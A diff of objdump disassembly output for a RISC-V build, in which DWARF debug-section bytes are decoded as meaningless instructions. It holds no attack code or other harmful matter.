- 1f2:	3f012e23          	sw	a6,1020(sp) # 1001141c <__stack_size+0x10010c1c>
- 1f6:	0319                	addi	t1,t1,6
- 1f8:	3a0e                	fld	fs4,224(sp)
- 1fa:	390b3b0b          	0x390b3b0b
- 1fe:	1119270b          	0x1119270b
- 202:	1201                	addi	tp,tp,-32
- 204:	4006                	0x4006
- 206:	9718                	0x9718
- 208:	1942                	slli	s2,s2,0x30
- 20a:	1301                	addi	t1,t1,-32
+  78:	130a                	slli	t1,t1,0x22
+  7a:	0301                	addi	t1,t1,0
+  7c:	0b0e                	slli	s6,s6,0x3
+  7e:	3b0b3a0b          	0x3b0b3a0b
+  82:	010b390b          	0x10b390b
+  86:	0b000013          	li	zero,176
+  8a:	000d                	c.nop	3
+  8c:	0b3a0803          	lb	a6,179(s4)
+  90:	0b390b3b          	0xb390b3b
+  94:	1349                	addi	t1,t1,-14
+  96:	0b38                	addi	a4,sp,408
+  98:	0000                	unimp
+  9a:	0d0c                	addi	a1,sp,656
+  9c:	0300                	addi	s0,sp,384
+  9e:	3a0e                	fld	fs4,224(sp)
+  a0:	390b3b0b          	0x390b3b0b
+  a4:	3813490b          	0x3813490b
+  a8:	0d00000b          	0xd00000b
+  ac:	0104                	addi	s1,sp,128
+  ae:	0b3e0e03          	lb	t3,179(t3) # fffef0b3 <_heap_end+0x7ffe08b3>
+  b2:	13490b0b          	0x13490b0b
+  b6:	0b3a                	slli	s6,s6,0xe
+  b8:	0b390b3b          	0xb390b3b
+  bc:	1301                	addi	t1,t1,-32
+  be:	0000                	unimp
+  c0:	280e                	fld	fa6,192(sp)
+  c2:	0300                	addi	s0,sp,384
+  c4:	1c0e                	slli	s8,s8,0x23
+  c6:	0f00000b          	0xf00000b
+  ca:	0034                	addi	a3,sp,8
+  cc:	0b3a0e03          	lb	t3,179(s4)
+  d0:	0b390b3b          	0xb390b3b
+  d4:	1349                	addi	t1,t1,-14
+  d6:	0000                	unimp
+  d8:	1310                	addi	a2,sp,416
+  da:	0b01                	addi	s6,s6,0
+  dc:	3b0b3a0b          	0x3b0b3a0b
+  e0:	010b390b          	0x10b390b
+  e4:	11000013          	li	zero,272
+  e8:	0034                	addi	a3,sp,8
+  ea:	0b3a0e03          	lb	t3,179(s4)
+  ee:	0b390b3b          	0xb390b3b
+  f2:	1349                	addi	t1,t1,-14
+  f4:	1802                	slli	a6,a6,0x20
+  f6:	0000                	unimp
+  f8:	3412                	fld	fs0,288(sp)
+  fa:	0300                	addi	s0,sp,384
+  fc:	3a0e                	fld	fs4,224(sp)
+  fe:	390b3b0b          	0x390b3b0b
+ 102:	3f13490b          	0x3f13490b
+ 106:	0219                	addi	tp,tp,6
+ 108:	0018                	0x18
+ 10a:	1300                	addi	s0,sp,416
+ 10c:	012e                	slli	sp,sp,0xb
+ 10e:	0e03193f 0b3b0b3a 	0xb3b0b3a0e03193f
+ 116:	0b39                	addi	s6,s6,14
+ 118:	13491927          	0x13491927
+ 11c:	0111                	addi	sp,sp,4
+ 11e:	0612                	slli	a2,a2,0x4
+ 120:	1840                	addi	s0,sp,52
+ 122:	01194297          	auipc	t0,0x1194
+ 126:	14000013          	li	zero,320
+ 12a:	0111010b          	0x111010b
+ 12e:	0612                	slli	a2,a2,0x4
+ 130:	1301                	addi	t1,t1,-32
+ 132:	0000                	unimp
+ 134:	3415                	jal	fffffb58 <_heap_end+0x7fff1358>
+ 136:	0300                	addi	s0,sp,384
+ 138:	3a08                	fld	fa0,48(a2)
+ 13a:	390b3b0b          	0x390b3b0b
+ 13e:	0013490b          	0x13490b
+ 142:	1600                	addi	s0,sp,800
+ 144:	1755010b          	0x1755010b
+ 148:	1301                	addi	t1,t1,-32
+ 14a:	0000                	unimp
+ 14c:	03003417          	auipc	s0,0x3003
+ 150:	3a08                	fld	fa0,48(a2)
+ 152:	390b3b0b          	0x390b3b0b
+ 156:	0213490b          	0x213490b
+ 15a:	18000017          	auipc	zero,0x18000
+ 15e:	0034                	addi	a3,sp,8
+ 160:	0b3a0803          	lb	a6,179(s4)
+ 164:	0b390b3b          	0xb390b3b
+ 168:	1349                	addi	t1,t1,-14
+ 16a:	1802                	slli	a6,a6,0x20
+ 16c:	0000                	unimp
+ 16e:	8919                	andi	a0,a0,6
+ 170:	0182                	c.slli64	gp
+ 172:	1101                	addi	sp,sp,-32
+ 174:	3101                	jal	fffffd74 <_heap_end+0x7fff1574>
+ 176:	00130113          	addi	sp,t1,1
+ 17a:	1a00                	addi	s0,sp,304
+ 17c:	828a                	mv	t0,sp
+ 17e:	0001                	nop
+ 180:	1802                	slli	a6,a6,0x20
+ 182:	4291                	li	t0,4
+ 184:	0018                	0x18
+ 186:	1b00                	addi	s0,sp,432
+ 188:	8289                	srli	a3,a3,0x2
+ 18a:	0001                	nop
+ 18c:	0111                	addi	sp,sp,4
+ 18e:	1331                	addi	t1,t1,-20
+ 190:	0000                	unimp
+ 192:	891c                	0x891c
+ 194:	0182                	c.slli64	gp
+ 196:	1101                	addi	sp,sp,-32
+ 198:	3101                	jal	fffffd98 <_heap_end+0x7fff1598>
+ 19a:	1d000013          	li	zero,464
+ 19e:	012e                	slli	sp,sp,0xb
+ 1a0:	0e03193f 0b3b0b3a 	0xb3b0b3a0e03193f
+ 1a8:	0b39                	addi	s6,s6,14
+ 1aa:	01111927          	0x1111927
+ 1ae:	0612                	slli	a2,a2,0x4
+ 1b0:	1840                	addi	s0,sp,52
+ 1b2:	01194297          	auipc	t0,0x1194
+ 1b6:	1e000013          	li	zero,480
+ 1ba:	0034                	addi	a3,sp,8
+ 1bc:	0b3a0e03          	lb	t3,179(s4)
+ 1c0:	0b390b3b          	0xb390b3b
+ 1c4:	1349                	addi	t1,t1,-14
+ 1c6:	1702                	slli	a4,a4,0x20
+ 1c8:	0000                	unimp
+ 1ca:	2e1f 3f00 3c19      	0x3c193f002e1f
+ 1d0:	6e19                	lui	t3,0x6
+ 1d2:	030e                	slli	t1,t1,0x3
+ 1d4:	3a0e                	fld	fs4,224(sp)
+ 1d6:	390b3b0b          	0x390b3b0b
+ 1da:	0000000b          	0xb
+ 1de:	1101                	addi	sp,sp,-32
+ 1e0:	2501                	jal	7e0 <__stack_size-0x20>
+ 1e2:	130e                	slli	t1,t1,0x23
+ 1e4:	1b0e030b          	0x1b0e030b
+ 1e8:	550e                	lw	a0,224(sp)
+ 1ea:	10011117          	auipc	sp,0x10011
+ 1ee:	17429917          	auipc	s2,0x17429
+ 1f2:	0000                	unimp
+ 1f4:	2402                	fld	fs0,0(sp)
+ 1f6:	0b00                	addi	s0,sp,400
+ 1f8:	030b3e0b          	0x30b3e0b
+ 1fc:	000e                	c.slli	zero,0x3
+ 1fe:	0300                	addi	s0,sp,384
+ 200:	0016                	c.slli	zero,0x5
+ 202:	0b3a0e03          	lb	t3,179(s4)
+ 206:	0b390b3b          	0xb390b3b
+ 20a:	1349                	addi	t1,t1,-14
  20c:	0000                	unimp
- 20e:	3424                	fld	fs1,104(s0)
- 210:	0300                	addi	s0,sp,384
- 212:	3a0e                	fld	fs4,224(sp)
- 214:	390b3b0b          	0x390b3b0b
- 218:	0213490b          	0x213490b
- 21c:	25000017          	auipc	zero,0x25000
- 220:	0034                	addi	a3,sp,8
- 222:	0b3a0e03          	lb	t3,179(s4)
- 226:	0b390b3b          	0xb390b3b
- 22a:	1349                	addi	t1,t1,-14
- 22c:	0b1c                	addi	a5,sp,400
- 22e:	0000                	unimp
- 230:	3426                	fld	fs0,104(sp)
- 232:	0300                	addi	s0,sp,384
- 234:	3a08                	fld	fa0,48(a2)
- 236:	390b3b0b          	0x390b3b0b
- 23a:	0213490b          	0x213490b
- 23e:	0018                	0x18
- 240:	2700                	fld	fs0,8(a4)
- 242:	0034                	addi	a3,sp,8
- 244:	0b3a0803          	lb	a6,179(s4)
- 248:	0b390b3b          	0xb390b3b
- 24c:	1349                	addi	t1,t1,-14
- 24e:	1702                	slli	a4,a4,0x20
- 250:	0000                	unimp
- 252:	3428                	fld	fa0,104(s0)
- 254:	0300                	addi	s0,sp,384
- 256:	3a08                	fld	fa0,48(a2)
- 258:	390b3b0b          	0x390b3b0b
- 25c:	0013490b          	0x13490b
- 260:	2900                	fld	fs0,16(a0)
- 262:	0021                	c.nop	8
- 264:	1349                	addi	t1,t1,-14
- 266:	0000182f          	0x182f
- 26a:	2e2a                	fld	ft8,136(sp)
- 26c:	3f01                	jal	17c <__stack_size-0x684>
- 26e:	0319                	addi	t1,t1,6
- 270:	3a0e                	fld	fs4,224(sp)
- 272:	390b3b0b          	0x390b3b0b
- 276:	4919270b          	0x4919270b
- 27a:	12011113          	0x12011113
- 27e:	4006                	0x4006
- 280:	9718                	0x9718
- 282:	1942                	slli	s2,s2,0x30
- 284:	1301                	addi	t1,t1,-32
- 286:	0000                	unimp
- 288:	0300052b          	0x300052b
- 28c:	3a08                	fld	fa0,48(a2)
- 28e:	390b3b0b          	0x390b3b0b
- 292:	0213490b          	0x213490b
- 296:	2c000017          	auipc	zero,0x2c000
- 29a:	0005                	c.nop	1
- 29c:	0b3a0803          	lb	a6,179(s4)
- 2a0:	0b390b3b          	0xb390b3b
- 2a4:	1349                	addi	t1,t1,-14
- 2a6:	1802                	slli	a6,a6,0x20
- 2a8:	0000                	unimp
- 2aa:	2e2d                	jal	5e4 <__stack_size-0x21c>
- 2ac:	3f00                	fld	fs0,56(a4)
- 2ae:	3c19                	jal	fffffcc4 <_heap_end+0x7fff14c4>
- 2b0:	6e19                	lui	t3,0x6
- 2b2:	030e                	slli	t1,t1,0x3
- 2b4:	3a0e                	fld	fs4,224(sp)
- 2b6:	390b3b0b          	0x390b3b0b
- 2ba:	2e00000b          	0x2e00000b
- 2be:	002e                	c.slli	zero,0xb
- 2c0:	193c193f 0e030e6e 	0xe030e6e193c193f
- 2c8:	0b3a                	slli	s6,s6,0xe
- 2ca:	0b39053b          	0xb39053b
- 2ce:	0000                	unimp
- 2d0:	3f002e2f          	0x3f002e2f
- 2d4:	3c19                	jal	fffffcea <_heap_end+0x7fff14ea>
- 2d6:	6e19                	lui	t3,0x6
- 2d8:	0308                	addi	a0,sp,384
- 2da:	3a08                	fld	fa0,48(a2)
- 2dc:	390b3b0b          	0x390b3b0b
- 2e0:	3000000b          	0x3000000b
- 2e4:	002e                	c.slli	zero,0xb
- 2e6:	193c193f 0e030e6e 	0xe030e6e193c193f
- 2ee:	0000                	unimp
- 2f0:	2e31                	jal	60c <__stack_size-0x1f4>
- 2f2:	3f00                	fld	fs0,56(a4)
- 2f4:	3c19                	jal	fffffd0a <_heap_end+0x7fff150a>
- 2f6:	6e19                	lui	t3,0x6
- 2f8:	030e                	slli	t1,t1,0x3
- 2fa:	3a0e                	fld	fs4,224(sp)
- 2fc:	000b3b0b          	0xb3b0b
- 300:	0000                	unimp
- 302:	1101                	addi	sp,sp,-32
- 304:	2501                	jal	904 <__stack_size+0x104>
- 306:	130e                	slli	t1,t1,0x23
- 308:	1b0e030b          	0x1b0e030b
- 30c:	550e                	lw	a0,224(sp)
- 30e:	10011117          	auipc	sp,0x10011
- 312:	17429917          	auipc	s2,0x17429
- 316:	0000                	unimp
- 318:	1602                	slli	a2,a2,0x20
- 31a:	0300                	addi	s0,sp,384
- 31c:	3a0e                	fld	fs4,224(sp)
- 31e:	390b3b0b          	0x390b3b0b
- 322:	0013490b          	0x13490b
- 326:	0300                	addi	s0,sp,384
- 328:	0024                	addi	s1,sp,8
- 32a:	0b3e0b0b          	0xb3e0b0b
- 32e:	00000e03          	lb	t3,0(zero) # 0 <__stack_size-0x800>
- 332:	2404                	fld	fs1,8(s0)
- 334:	0b00                	addi	s0,sp,400
- 336:	030b3e0b          	0x30b3e0b
- 33a:	0008                	0x8
- 33c:	0500                	addi	s0,sp,640
- 33e:	0b0b000f          	0xb0b000f
+ 20e:	2404                	fld	fs1,8(s0)
+ 210:	0b00                	addi	s0,sp,400
+ 212:	030b3e0b          	0x30b3e0b
+ 216:	0008                	0x8
+ 218:	0500                	addi	s0,sp,640
+ 21a:	0b0b000f          	0xb0b000f
+ 21e:	1349                	addi	t1,t1,-14
+ 220:	0000                	unimp
+ 222:	2606                	fld	fa2,64(sp)
+ 224:	4900                	lw	s0,16(a0)
+ 226:	07000013          	li	zero,112
+ 22a:	0e030113          	addi	sp,t1,224
+ 22e:	0b3a0b0b          	0xb3a0b0b
+ 232:	0b390b3b          	0xb390b3b
+ 236:	1301                	addi	t1,t1,-32
+ 238:	0000                	unimp
+ 23a:	0d08                	addi	a0,sp,656
+ 23c:	0300                	addi	s0,sp,384
+ 23e:	3a08                	fld	fa0,48(a2)
+ 240:	390b3b0b          	0x390b3b0b
+ 244:	3813490b          	0x3813490b
+ 248:	0900000b          	0x900000b
+ 24c:	000d                	c.nop	3
+ 24e:	0b3a0e03          	lb	t3,179(s4)
+ 252:	0b390b3b          	0xb390b3b
+ 256:	1349                	addi	t1,t1,-14
+ 258:	0b38                	addi	a4,sp,408
+ 25a:	0000                	unimp
+ 25c:	040a                	slli	s0,s0,0x2
+ 25e:	0301                	addi	t1,t1,0
+ 260:	3e0e                	fld	ft8,224(sp)
+ 262:	490b0b0b          	0x490b0b0b
+ 266:	3b0b3a13          	sltiu	s4,s6,944
+ 26a:	010b390b          	0x10b390b
+ 26e:	0b000013          	li	zero,176
+ 272:	0028                	addi	a0,sp,8
+ 274:	0b1c0e03          	lb	t3,177(s8) # 50b1 <__stack_size+0x48b1>
+ 278:	0000                	unimp
+ 27a:	340c                	fld	fa1,40(s0)
+ 27c:	0300                	addi	s0,sp,384
+ 27e:	3a0e                	fld	fs4,224(sp)
+ 280:	390b3b0b          	0x390b3b0b
+ 284:	0013490b          	0x13490b
+ 288:	0d00                	addi	s0,sp,656
+ 28a:	012e                	slli	sp,sp,0xb
+ 28c:	0e03193f 0b3b0b3a 	0xb3b0b3a0e03193f
+ 294:	0b39                	addi	s6,s6,14
+ 296:	13491927          	0x13491927
+ 29a:	0111                	addi	sp,sp,4
+ 29c:	0612                	slli	a2,a2,0x4
+ 29e:	1840                	addi	s0,sp,52
+ 2a0:	01194297          	auipc	t0,0x1194
+ 2a4:	0e000013          	li	zero,224
+ 2a8:	0005                	c.nop	1
+ 2aa:	0b3a0803          	lb	a6,179(s4)
+ 2ae:	0b390b3b          	0xb390b3b
+ 2b2:	1349                	addi	t1,t1,-14
+ 2b4:	1702                	slli	a4,a4,0x20
+ 2b6:	0000                	unimp
+ 2b8:	0300050f          	0x300050f
+ 2bc:	3a0e                	fld	fs4,224(sp)
+ 2be:	390b3b0b          	0x390b3b0b
+ 2c2:	0213490b          	0x213490b
+ 2c6:	10000017          	auipc	zero,0x10000
+ 2ca:	0034                	addi	a3,sp,8
+ 2cc:	0b3a0803          	lb	a6,179(s4)
+ 2d0:	0b390b3b          	0xb390b3b
+ 2d4:	1349                	addi	t1,t1,-14
+ 2d6:	1702                	slli	a4,a4,0x20
+ 2d8:	0000                	unimp
+ 2da:	8911                	andi	a0,a0,4
+ 2dc:	0182                	c.slli64	gp
+ 2de:	1101                	addi	sp,sp,-32
+ 2e0:	3101                	jal	fffffee0 <_heap_end+0x7fff16e0>
+ 2e2:	00130113          	addi	sp,t1,1
+ 2e6:	1200                	addi	s0,sp,288
+ 2e8:	828a                	mv	t0,sp
+ 2ea:	0001                	nop
+ 2ec:	1802                	slli	a6,a6,0x20
+ 2ee:	4291                	li	t0,4
+ 2f0:	0018                	0x18
+ 2f2:	1300                	addi	s0,sp,416
+ 2f4:	8289                	srli	a3,a3,0x2
+ 2f6:	0101                	addi	sp,sp,0
+ 2f8:	0111                	addi	sp,sp,4
+ 2fa:	1331                	addi	t1,t1,-20
+ 2fc:	0000                	unimp
+ 2fe:	3414                	fld	fa3,40(s0)
+ 300:	0300                	addi	s0,sp,384
+ 302:	3a0e                	fld	fs4,224(sp)
+ 304:	390b3b0b          	0x390b3b0b
+ 308:	0213490b          	0x213490b
+ 30c:	15000017          	auipc	zero,0x15000
+ 310:	8289                	srli	a3,a3,0x2
+ 312:	0001                	nop
+ 314:	0111                	addi	sp,sp,4
+ 316:	1331                	addi	t1,t1,-20
+ 318:	0000                	unimp
+ 31a:	2e16                	fld	ft8,320(sp)
+ 31c:	3f01                	jal	22c <__stack_size-0x5d4>
+ 31e:	0319                	addi	t1,t1,6
+ 320:	3a0e                	fld	fs4,224(sp)
+ 322:	390b3b0b          	0x390b3b0b
+ 326:	1119270b          	0x1119270b
+ 32a:	1201                	addi	tp,tp,-32
+ 32c:	4006                	0x4006
+ 32e:	9718                	0x9718
+ 330:	1942                	slli	s2,s2,0x30
+ 332:	1301                	addi	t1,t1,-32
+ 334:	0000                	unimp
+ 336:	01828917          	auipc	s2,0x1828
+ 33a:	1101                	addi	sp,sp,-32
+ 33c:	9501                	srai	a0,a0,0x20
+ 33e:	1942                	slli	s2,s2,0x30
+ 340:	1331                	addi	t1,t1,-20
  342:	0000                	unimp
- 344:	0f06                	slli	t5,t5,0x1
- 346:	0b00                	addi	s0,sp,400
- 348:	0013490b          	0x13490b
- 34c:	0700                	addi	s0,sp,896
- 34e:	0026                	c.slli	zero,0x9
- 350:	1349                	addi	t1,t1,-14
- 352:	0000                	unimp
- 354:	2608                	fld	fa0,8(a2)
- 356:	0000                	unimp
- 358:	0900                	addi	s0,sp,144
- 35a:	0e030113          	addi	sp,t1,224
- 35e:	0b3a0b0b          	0xb3a0b0b
- 362:	0b390b3b          	0xb390b3b
- 366:	1301                	addi	t1,t1,-32
- 368:	0000                	unimp
- 36a:	0d0a                	slli	s10,s10,0x2
- 36c:	0300                	addi	s0,sp,384
- 36e:	3a0e                	fld	fs4,224(sp)
- 370:	390b3b0b          	0x390b3b0b
- 374:	3813490b          	0x3813490b
- 378:	0b00000b          	0xb00000b
- 37c:	0101                	addi	sp,sp,0
- 37e:	1349                	addi	t1,t1,-14
- 380:	1301                	addi	t1,t1,-32
+ 344:	2e18                	fld	fa4,24(a2)
+ 346:	3f01                	jal	256 <__stack_size-0x5aa>
+ 348:	0319                	addi	t1,t1,6
+ 34a:	3a0e                	fld	fs4,224(sp)
+ 34c:	390b3b0b          	0x390b3b0b
+ 350:	1113490b          	0x1113490b
+ 354:	1201                	addi	tp,tp,-32
+ 356:	4006                	0x4006
+ 358:	9718                	0x9718
+ 35a:	1942                	slli	s2,s2,0x30
+ 35c:	1301                	addi	t1,t1,-32
+ 35e:	0000                	unimp
+ 360:	3419                	jal	fffffd66 <_heap_end+0x7fff1566>
+ 362:	0300                	addi	s0,sp,384
+ 364:	3a08                	fld	fa0,48(a2)
+ 366:	390b3b0b          	0x390b3b0b
+ 36a:	0213490b          	0x213490b
+ 36e:	0018                	0x18
+ 370:	1a00                	addi	s0,sp,304
+ 372:	002e                	c.slli	zero,0xb
+ 374:	193c193f 0e030e6e 	0xe030e6e193c193f
+ 37c:	0b3a                	slli	s6,s6,0xe
+ 37e:	0b390b3b          	0xb390b3b
  382:	0000                	unimp
- 384:	210c                	fld	fa1,0(a0)
- 386:	4900                	lw	s0,16(a0)
- 388:	000b2f13          	slti	t5,s6,0
- 38c:	0d00                	addi	s0,sp,656
- 38e:	012e                	slli	sp,sp,0xb
- 390:	0e03193f 0b3b0b3a 	0xb3b0b3a0e03193f
- 398:	0b39                	addi	s6,s6,14
- 39a:	13491927          	0x13491927
- 39e:	0111                	addi	sp,sp,4
- 3a0:	0612                	slli	a2,a2,0x4
- 3a2:	1840                	addi	s0,sp,52
- 3a4:	01194297          	auipc	t0,0x1194
- 3a8:	0e000013          	li	zero,224
- 3ac:	0005                	c.nop	1
- 3ae:	0b3a0e03          	lb	t3,179(s4)
- 3b2:	0b390b3b          	0xb390b3b
- 3b6:	1349                	addi	t1,t1,-14
- 3b8:	1702                	slli	a4,a4,0x20
- 3ba:	0000                	unimp
- 3bc:	0300050f          	0x300050f
- 3c0:	3a08                	fld	fa0,48(a2)
- 3c2:	390b3b0b          	0x390b3b0b
- 3c6:	0213490b          	0x213490b
- 3ca:	10000017          	auipc	zero,0x10000
- 3ce:	1755010b          	0x1755010b
- 3d2:	1301                	addi	t1,t1,-32
- 3d4:	0000                	unimp
- 3d6:	3411                	jal	fffffdda <_heap_end+0x7fff15da>
- 3d8:	0300                	addi	s0,sp,384
- 3da:	3a0e                	fld	fs4,224(sp)
- 3dc:	390b3b0b          	0x390b3b0b
- 3e0:	0013490b          	0x13490b
- 3e4:	1200                	addi	s0,sp,288
- 3e6:	1755010b          	0x1755010b
- 3ea:	0000                	unimp
- 3ec:	03003413          	sltiu	s0,zero,48
- 3f0:	3a08                	fld	fa0,48(a2)
- 3f2:	390b3b0b          	0x390b3b0b
- 3f6:	0213490b          	0x213490b
- 3fa:	14000017          	auipc	zero,0x14000
- 3fe:	8289                	srli	a3,a3,0x2
- 400:	0101                	addi	sp,sp,0
- 402:	0111                	addi	sp,sp,4
- 404:	1331                	addi	t1,t1,-20
- 406:	0000                	unimp
- 408:	8a15                	andi	a2,a2,5
- 40a:	0182                	c.slli64	gp
- 40c:	0200                	addi	s0,sp,256
- 40e:	9118                	0x9118
- 410:	1842                	slli	a6,a6,0x30
- 412:	0000                	unimp
- 414:	3416                	fld	fs0,352(sp)
- 416:	0300                	addi	s0,sp,384
- 418:	3a0e                	fld	fs4,224(sp)
- 41a:	390b3b0b          	0x390b3b0b
- 41e:	0213490b          	0x213490b
- 422:	17000017          	auipc	zero,0x17000
- 426:	0005                	c.nop	1
- 428:	0b3a0803          	lb	a6,179(s4)
- 42c:	0b390b3b          	0xb390b3b
- 430:	1349                	addi	t1,t1,-14
- 432:	1802                	slli	a6,a6,0x20
- 434:	0000                	unimp
- 436:	3418                	fld	fa4,40(s0)
- 438:	0300                	addi	s0,sp,384
- 43a:	3a0e                	fld	fs4,224(sp)
- 43c:	390b3b0b          	0x390b3b0b
- 440:	3f13490b          	0x3f13490b
- 444:	3c19                	jal	fffffe5a <_heap_end+0x7fff165a>
- 446:	0019                	c.nop	6
- 448:	1900                	addi	s0,sp,176
- 44a:	0034                	addi	a3,sp,8
- 44c:	0b3a0e03          	lb	t3,179(s4)
- 450:	0b390b3b          	0xb390b3b
- 454:	1349                	addi	t1,t1,-14
- 456:	1802                	slli	a6,a6,0x20
- 458:	0000                	unimp
- 45a:	211a                	fld	ft2,384(sp)
- 45c:	0000                	unimp
- 45e:	1b00                	addi	s0,sp,432
- 460:	002e                	c.slli	zero,0xb
- 462:	193c193f 0e030e6e 	0xe030e6e193c193f
- 46a:	0b3a                	slli	s6,s6,0xe
- 46c:	0b390b3b          	0xb390b3b
- 470:	0000                	unimp
- 472:	0100                	addi	s0,sp,128
- 474:	0111                	addi	sp,sp,4
- 476:	0e25                	addi	t3,t3,9
- 478:	0e030b13          	addi	s6,t1,224
- 47c:	01110e1b          	0x1110e1b
- 480:	0612                	slli	a2,a2,0x4
- 482:	1710                	addi	a2,sp,928
- 484:	0000                	unimp
- 486:	2402                	fld	fs0,0(sp)
- 488:	0b00                	addi	s0,sp,400
- 48a:	030b3e0b          	0x30b3e0b
- 48e:	000e                	c.slli	zero,0x3
- 490:	0300                	addi	s0,sp,384
- 492:	0024                	addi	s1,sp,8
- 494:	0b3e0b0b          	0xb3e0b0b
- 498:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
- 49c:	1604                	addi	s1,sp,800
- 49e:	0300                	addi	s0,sp,384
- 4a0:	3a0e                	fld	fs4,224(sp)
- 4a2:	390b3b0b          	0x390b3b0b
- 4a6:	0013490b          	0x13490b
- 4aa:	0500                	addi	s0,sp,640
- 4ac:	0026                	c.slli	zero,0x9
- 4ae:	1349                	addi	t1,t1,-14
- 4b0:	0000                	unimp
- 4b2:	1306                	slli	t1,t1,0x21
- 4b4:	0301                	addi	t1,t1,0
- 4b6:	0b0e                	slli	s6,s6,0x3
- 4b8:	3b0b3a0b          	0x3b0b3a0b
- 4bc:	3905                	jal	ec <__stack_size-0x714>
- 4be:	0013010b          	0x13010b
- 4c2:	0700                	addi	s0,sp,896
- 4c4:	000d                	c.nop	3
- 4c6:	0b3a0803          	lb	a6,179(s4)
- 4ca:	0b39053b          	0xb39053b
- 4ce:	1349                	addi	t1,t1,-14
- 4d0:	0b38                	addi	a4,sp,408
- 4d2:	0000                	unimp
- 4d4:	0d08                	addi	a0,sp,656
- 4d6:	0300                	addi	s0,sp,384
- 4d8:	3a0e                	fld	fs4,224(sp)
- 4da:	39053b0b          	0x39053b0b
- 4de:	3813490b          	0x3813490b
- 4e2:	0900000b          	0x900000b
- 4e6:	0b0b0117          	auipc	sp,0xb0b0
- 4ea:	0b3a                	slli	s6,s6,0xe
- 4ec:	0b39053b          	0xb39053b
- 4f0:	1301                	addi	t1,t1,-32
- 4f2:	0000                	unimp
- 4f4:	0d0a                	slli	s10,s10,0x2
- 4f6:	0300                	addi	s0,sp,384
- 4f8:	3a08                	fld	fa0,48(a2)
- 4fa:	39053b0b          	0x39053b0b
- 4fe:	0013490b          	0x13490b
- 502:	0b00                	addi	s0,sp,400
- 504:	0016                	c.slli	zero,0x5
- 506:	0b3a0e03          	lb	t3,179(s4)
- 50a:	0b39053b          	0xb39053b
- 50e:	1349                	addi	t1,t1,-14
- 510:	0000                	unimp
- 512:	2e0c                	fld	fa1,24(a2)
- 514:	3f01                	jal	424 <__stack_size-0x3dc>
- 516:	0319                	addi	t1,t1,6
- 518:	3a0e                	fld	fs4,224(sp)
- 51a:	39053b0b          	0x39053b0b
- 51e:	4919270b          	0x4919270b
- 522:	12011113          	0x12011113
- 526:	4006                	0x4006
- 528:	9718                	0x9718
- 52a:	1942                	slli	s2,s2,0x30
- 52c:	0000                	unimp
- 52e:	050d                	addi	a0,a0,3
- 530:	0300                	addi	s0,sp,384
- 532:	3a08                	fld	fa0,48(a2)
- 534:	39053b0b          	0x39053b0b
- 538:	0213490b          	0x213490b
- 53c:	0e000017          	auipc	zero,0xe000
- 540:	0005                	c.nop	1
- 542:	0b3a0803          	lb	a6,179(s4)
- 546:	0b39053b          	0xb39053b
- 54a:	1349                	addi	t1,t1,-14
- 54c:	1802                	slli	a6,a6,0x20
- 54e:	0000                	unimp
- 550:	0300340f          	0x300340f
- 554:	3a08                	fld	fa0,48(a2)
- 556:	39053b0b          	0x39053b0b
- 55a:	0013490b          	0x13490b
- 55e:	1000                	addi	s0,sp,32
- 560:	0034                	addi	a3,sp,8
- 562:	0b3a0803          	lb	a6,179(s4)
- 566:	0b39053b          	0xb39053b
- 56a:	1349                	addi	t1,t1,-14
- 56c:	1702                	slli	a4,a4,0x20
- 56e:	0000                	unimp
- 570:	0b11                	addi	s6,s6,4
- 572:	1101                	addi	sp,sp,-32
- 574:	1201                	addi	tp,tp,-32
- 576:	0006                	c.slli	zero,0x1
- 578:	1200                	addi	s0,sp,288
- 57a:	0034                	addi	a3,sp,8
- 57c:	0b3a0e03          	lb	t3,179(s4)
- 580:	0b39053b          	0xb39053b
- 584:	1349                	addi	t1,t1,-14
- 586:	1702                	slli	a4,a4,0x20
- 588:	0000                	unimp
- 58a:	0100                	addi	s0,sp,128
- 58c:	0111                	addi	sp,sp,4
- 58e:	0e25                	addi	t3,t3,9
- 590:	0e030b13          	addi	s6,t1,224
- 594:	01110e1b          	0x1110e1b
- 598:	0612                	slli	a2,a2,0x4
- 59a:	1710                	addi	a2,sp,928
- 59c:	0000                	unimp
- 59e:	2402                	fld	fs0,0(sp)
- 5a0:	0b00                	addi	s0,sp,400
- 5a2:	030b3e0b          	0x30b3e0b
- 5a6:	000e                	c.slli	zero,0x3
- 5a8:	0300                	addi	s0,sp,384
- 5aa:	0024                	addi	s1,sp,8
- 5ac:	0b3e0b0b          	0xb3e0b0b
- 5b0:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
- 5b4:	1604                	addi	s1,sp,800
- 5b6:	0300                	addi	s0,sp,384
- 5b8:	3a0e                	fld	fs4,224(sp)
- 5ba:	390b3b0b          	0x390b3b0b
+ 384:	0100                	addi	s0,sp,128
+ 386:	0111                	addi	sp,sp,4
+ 388:	0e25                	addi	t3,t3,9
+ 38a:	0e030b13          	addi	s6,t1,224
+ 38e:	17550e1b          	0x17550e1b
+ 392:	0111                	addi	sp,sp,4
+ 394:	1710                	addi	a2,sp,928
+ 396:	4299                	li	t0,6
+ 398:	02000017          	auipc	zero,0x2000
+ 39c:	0024                	addi	s1,sp,8
+ 39e:	0b3e0b0b          	0xb3e0b0b
+ 3a2:	00000e03          	lb	t3,0(zero) # 0 <__stack_size-0x800>
+ 3a6:	03001603          	lh	a2,48(zero) # 30 <__stack_size-0x7d0>
+ 3aa:	3a0e                	fld	fs4,224(sp)
+ 3ac:	390b3b0b          	0x390b3b0b
+ 3b0:	0013490b          	0x13490b
+ 3b4:	0400                	addi	s0,sp,512
+ 3b6:	0024                	addi	s1,sp,8
+ 3b8:	0b3e0b0b          	0xb3e0b0b
+ 3bc:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
+ 3c0:	2605                	jal	6e0 <__stack_size-0x120>
+ 3c2:	4900                	lw	s0,16(a0)
+ 3c4:	06000013          	li	zero,96
+ 3c8:	0b0b000f          	0xb0b000f
+ 3cc:	1349                	addi	t1,t1,-14
+ 3ce:	0000                	unimp
+ 3d0:	03011307          	0x3011307
+ 3d4:	0b0e                	slli	s6,s6,0x3
+ 3d6:	3b0b3a0b          	0x3b0b3a0b
+ 3da:	010b390b          	0x10b390b
+ 3de:	08000013          	li	zero,128
+ 3e2:	000d                	c.nop	3
+ 3e4:	0b3a0803          	lb	a6,179(s4)
+ 3e8:	0b390b3b          	0xb390b3b
+ 3ec:	1349                	addi	t1,t1,-14
+ 3ee:	0b38                	addi	a4,sp,408
+ 3f0:	0000                	unimp
+ 3f2:	0d09                	addi	s10,s10,2
